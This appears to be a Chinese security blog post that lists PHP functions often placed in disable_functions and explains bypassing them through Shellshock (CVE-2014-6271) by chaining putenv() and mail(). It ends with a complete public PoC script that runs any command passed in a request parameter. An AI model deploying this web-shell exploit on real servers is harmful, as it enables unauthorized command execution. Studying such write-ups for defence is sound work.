利用putenv函数bypass Disable_functions

0x00 前言

在一篇很好的文章中看到了这个,所以就打算研究一下看看原理。

文章链接: https://forum.90sec.com/t/topic/391

ps:一直以来遇到比较难懂的文章都看着看着放弃了,这很不好….. 正在改正中

0x01 disable_functions

根据字面意思来说就是被禁用的函数,之所以被禁用主要是会造成危害。以下是从别的网站上面抄来的disable_functions函数:

 passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高
(windows 下的 `` 执行命令,用的是这个函数)

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高
(Linux 下的 `` 用的是这个函数)

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe

mode,
执行任意命令。
危险等级:低

0x02 原理分析

CVE-2014-6271漏洞

目前bash使用的环境变量是通过函数的名称来调用,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

通过本地验证的例子来进行分析一下:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ‘ bash -c “echo test”

由于以(){开头定义的环境变量 解析成函数之后,导致bash执行没有退出,所以我们后面的代码也会被执行。

putenv 函数

由于putenv函数可以修改系统的环境变量,所以我们可以如下设置

putenv(“PHP_LOL=() { x; }; $cmd >$tmp 2>&1”); 但是光是这样设置好放在那边是没有效果的,我们需要寻找一个函数去触发或调用,这样才可以造成最终的RCE 通过p神的这篇文章:https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html 知道可以通过mail可以进行触发,所以通过putenv和mail函数的结合在CVE未修复的情况下我们可以绕过disable_functions来进行任意代码执行 不过现在19年了都这个应该都被修复了

另外一种方法:https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

poc:

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

参考链接:

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

https://xz.aliyun.com/t/4623#toc-4

https://myzxcg.github.io/20180313.html

https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html

https://www.freebuf.com/news/48331.html

https://forum.90sec.com/t/topic/391

发表评论

电子邮件地址不会被公开。 必填项已用*标注